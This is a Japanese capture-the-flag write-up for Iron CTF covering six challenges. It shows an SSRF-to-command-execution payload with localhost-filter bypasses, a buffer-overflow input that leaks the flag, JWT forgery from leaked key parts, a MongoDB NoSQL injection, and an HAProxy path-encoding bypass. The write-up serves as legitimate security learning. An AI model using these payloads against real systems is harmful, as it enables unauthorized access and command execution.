Iron CTF writeup

Iron CTFに参加してました。discordでヒント、解答を見ながら行った解きなおしも含まれます。

## b64SiteViewer
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/47e88991-e5d0-d945-e4eb-c6dfc0dafc21.png)
```python:app.py
from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(__name__)
app.secret_key=os.urandom(16)

@app.route('/',methods=['GET','POST'])
def home():
    if request.method=='GET':
        return render_template('home.html')
    if request.method=='POST':
        try:
            url=request.form.get('url')
            scheme=urlparse(url).scheme
            hostname=urlparse(url).hostname
            blacklist_scheme=['file','gopher','php','ftp','dict','data']
            blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
            if scheme in blacklist_scheme:
                return render_template_string('blocked scheme')     
            if hostname in blacklist_hostname:
                return render_template_string('blocked host')
            t=urllib.request.urlopen(url)
            content = t.read()
            output=base64.b64encode(content)
            return (f'''base64 version of the site:
                {output[:1000]}''')
        except Exception as e:
                print(e)
                return f" An error occurred: {e} - Unable to visit this site, try some other website."


@app.route('/admin')
def admin():
    remote_addr = request.remote_addr
    
    if remote_addr in ['127.0.0.1', 'localhost']:
        cmd=request.args.get('cmd','id')
        cmd_blacklist=['REDACTED']
        if "'" in cmd or '"' in cmd:
            return render_template_string('Command blocked')
        for i in cmd_blacklist:
            if i in cmd:
                return render_template_string('Command blocked')
        print(f"Executing: {cmd}")
        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return res.stdout
    else:
        return render_template_string("Don't hack me")

if __name__=="__main__":
    app.run(host='0.0.0.0',port='5000')
```
```bash:flag.sh
#!/bin/bash


inp=$1

if [[ $flag == $inp ]]
then
	echo "This is the flag"
else
	echo "no"
fi
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/f9ceca24-4278-6be9-2881-8eae604e02b1.png)
このようなサイトが与えられる。127.0.0.1,localhostとcmd_blacklist=['REDACTED']さえbypassできればSSRFとRCEができそう。いろいろ試したところ、
` http://2130706433:5000/admin?cmd=set `
で通った。ほかの方法としては、
` http://[0:0:0:0:0:ffff:127.0.0.1]:5000/admin?cmd=head+run* `
` http://127.1:5000/admin?cmd=e\nv `
があった。

## Math Gone Wrong
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/b638ad87-8ab6-7e6e-217e-97b7c8bfb2a1.png)
```
nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.1
n1*10+n2*10 != (n1+n2)*10
above condition is false so no flag
```
n1*10+n2*10 != (n1+n2)*10が成立すればいいらしい。
浮動小数点での誤差を発生させる。なぜか0.1,0.2の組み合わせだと通った。
```
nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.2
b'ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}'
```

## Introspection
```C:Introspection.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    printf("\033[32m\"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step.\"\033[0m\n\n");
    printf("                                                                                         - ChatGPT\n");
    printf("Have you thought about what you really wanted in life?\n");
    char flag[50];
    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) 
    {
        printf("Error! flag.txt not found!");
        exit(1);
    }
    fread(flag, 1, 50, file);
    char buf[1008];
    printf(">> ");
    read(0, buf, 1008);
    printf("I wish for you that you get %s", buf);
}
```
```
nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."

                                                                                         - ChatGPT
Have you thought about what you really wanted in life?
>> hai,ChatGPT!
I wish for you that you get hai,ChatGPT!
```
bufが1008なので、Aを1008回入力する。
```
python3 -c 'print("A" * 1008)' |nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."

                                                                                         - ChatGPT
Have you thought about what you really wanted in life?
>> I wish for you that you get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}
�x
```

## JWT hunt
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/680fe46d-24ea-1a3a-4d30-96d689e5337a.png)

よくある宝探し問題だった。
```:robots.txt
User-agent: *
    
Disallow: /secretkeypart4
    
# Here's the first part of the secret key:
6yH$#v9Wq3e&Zf8L
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/1b513453-aca1-5831-d9fc-d041079a4978.png)

```:sitemap.xml
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://example.com/</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/register</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/login</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/dashboard</loc>
<lastmod>2024-01-01</lastmod>
</url>
<!--  Third part of the secret key: 2C@mQjUwEbGoIhNy  -->
</urlset>
```
```
$curl https://jwt-hunt.1nf1n1ty.team/secretkeypart4
<!doctype html>
<html lang="en">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ce49eacdd0a0b00',t:'MTcyODIwNjg5MS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>

$curl -I https://jwt-hunt.1nf1n1ty.team/secretkeypart4
HTTP/2 200
date: Sun, 06 Oct 2024 09:26:35 GMT
content-type: text/html; charset=utf-8
secret-key-part-4: 0T!BxlVz5uMKA#Yp
cf-cache-status: DYNAMIC
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6b715Pda%2F7Or6nn3Qofvm9%2FDLUy%2F2o%2FJO8Sb77tNXsa%2BK%2BJmI8OEFQuIsTEDopAeJqek9IhXM42LCfMvVueFamJ5SnnD6SoO6UQBLBTEfigy2yTFsGrg%2FO6P07tN95QAo4V5%2FMSsZCv"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
speculation-rules: "/cdn-cgi/speculation"
server: cloudflare
cf-ray: 8ce49c559c14e062-NRT
```
これで鍵がそろった。6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp
jwt.ioでjwtを書き換える。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/4c4c11bf-8bd1-1c2e-765c-edc8d4729b4b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/fa422987-3246-3ace-bfa9-c0a87f582f7a.png)
` Welcome admin, here's your flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!} `

## mango
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/fe8eaff2-aa9b-1031-a44c-729725898b5f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/542210a0-b9e4-c2a0-7deb-301438e5b297.png)
Mangoから、言葉遊びでMongoDBだと推測、よくあるNoSQLiを試したら通った。
` username=admin&password[$ne]=pass `
をburpから送る。
しかし、普通に/admin/indexにアクセスするだけでアクセスできるようだった。

## Loan App
```python:app.py
from flask import Flask, render_template, request, redirect, session, url_for, flash
from flask_pymongo import PyMongo
from flask_bcrypt import Bcrypt
from bson.objectid import ObjectId
import os
import uuid


app = Flask(__name__)
app.config['MONGO_URI'] = os.getenv('MONGO_URI') or 'mongodb://mongo:27017/loanApp'
app.secret_key = os.getenv('SECRET_KEY') or 'secretKey'
mongo = PyMongo(app)
bcrypt = Bcrypt(app)
FLAG = os.getenv('FLAG') or 'ironCTF{testing_flag}'

@app.route('/')
def index():
    if 'user_id' in session:
        loans = mongo.db.loan.find({'user_id': session['user_id']})
        return render_template('index.html', loans=loans)
    return redirect(url_for('login'))

def is_uuid_v4(uuid_str):
    uuid_v4_regex = re.compile(
        r'^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12}$', re.IGNORECASE)
    
    return bool(uuid_v4_regex.match(uuid_str))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if not isinstance(username, str) or not isinstance(password, str):
            flash('Both username and password must be strings', 'danger')
            return redirect(url_for('register'))

        if not is_uuid_v4(username) or not is_uuid_v4(password):
            flash('Both username and password must be valid uuidV4', 'danger')
            return redirect(url_for('register'))

        hashed_password = bcrypt.generate_password_hash(password).decode('utf-8')
        mongo.db.user.insert_one({'username': username, 'password': hashed_password})
        flash('Registration successful!', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        
        if not isinstance(username, str) or not isinstance(password, str):
            flash('Both username and password must be strings', 'danger')
            return redirect(url_for('login'))

        if not is_valid_uuid(username) or not is_valid_uuid(password):
            flash('Both username and password must be valid UUIDs', 'danger')
            return redirect(url_for('login'))

        user = mongo.db.user.find_one({'username': username})
        if user and bcrypt.check_password_hash(user['password'], password):
            session['user_id'] = str(user['_id'])
            flash('Login successful!', 'success')
            return redirect(url_for('index'))

        flash('Invalid username or password', 'danger')
    return render_template('login.html')


@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('login'))

@app.route('/loan-request', methods=['POST'])
def loan_request():
    if 'user_id' in session:
        amount = request.form['amount']
        reason = request.form['reason']
        mongo.db.loan.insert_one({'user_id': session['user_id'], 'amount': amount, 'reason': reason, 'status': 'pending'})
        return redirect(url_for('index'))
    return redirect(url_for('login'))

@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
    try:
        mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
        return 'OK', 200
    except:
        return 'Internal Server Error', 500

if __name__ == '__main__':
    app.run(port=5050)
```

```python:models.py
from flask_pymongo import PyMongo
from bson import ObjectId

mongo = PyMongo()

class User:
    def __init__(self, username, password, role='user'):
        self.username = username
        self.password = password
        self.role = role

    def save(self):
        mongo.db.users.insert_one({
            'username': self.username,
            'password': self.password,
            'role': self.role
        })

    @staticmethod
    def find_by_username(username):
        return mongo.db.users.find_one({'username': username})

class Loan:
    def __init__(self, user_id, amount, reason, status='pending'):
        self.user_id = user_id
        self.amount = amount
        self.reason = reason
        self.status = status

    def save(self):
        mongo.db.loans.insert_one({
            'user_id': self.user_id,
            'amount': self.amount,
            'reason': self.reason,
            'status': self.status
        })

    @staticmethod
    def find_by_user_id(user_id):
        return mongo.db.loans.find({'user_id': user_id})

    @staticmethod
    def update_loan(loan_id, update_data):
        mongo.db.loans.update_one({'_id': ObjectId(loan_id)}, {'$set': update_data})
```
```:docker-compose.yml 
version: '3.8'

services:
  loanapp:
    build:
      context: .  # Build from the current directory
    depends_on:
      - mongo  # Ensure MongoDB is started before the app
    environment:
      - SECRET_KEY=REDACTED
      - FLASK_APP=app.py
      - MONGO_URI=mongodb://mongo:27017/loanApp
      - FLAG=flag{fake_flag_for_test}

  mongo:
    image: mongo  # Use the official MongoDB image
    volumes:
      - mongo-data:/data/db  # Persist MongoDB data
    

  loanapp-haproxy:
    image: haproxy:2.3.5 
    # ports:
      # - "80:80" 
    volumes:
      - ./haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg 
    depends_on:
      - loanapp 

volumes:
  mongo-data: 
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/a8881de5-67cd-1307-170d-41e3b96365fa.png)
まずは登録する。Username,Passwordの両方がUUIDv4でないと許可されない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/4140f45a-a70d-c61d-65e5-4a8e9650c93f.png)
ローンを入力すると、loan_idが出てくる。/admin/loan/loan_idにアクセスできれば勝ちだが、普通にアクセスすると、403が出る。
```:haproxy.cfg
global
    log stdout format raw local0
    maxconn 2000
    user root
    group root
    daemon

defaults
    log global
    option httplog
    timeout client 30s
    timeout server 30s
    timeout connect 30s

frontend http_front
    mode http
    bind :80
    acl is_admin path_beg /admin
    http-request deny if is_admin
    default_backend gunicorn

backend gunicorn
    mode http
    balance roundrobin
    server loanserver loanapp:8000 maxconn 32
```
を見ると、/adminがブロックされていることがわかる。
そこで、
` POST /%61dmin/loan/670273083b619fc5054d41e6 HTTP/1.1 `
aを%61でエンコードしてあげることで、403をbypassすることに成功した。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3563446/02aa7090-8073-6a6f-7035-4f9e4a581d40.png)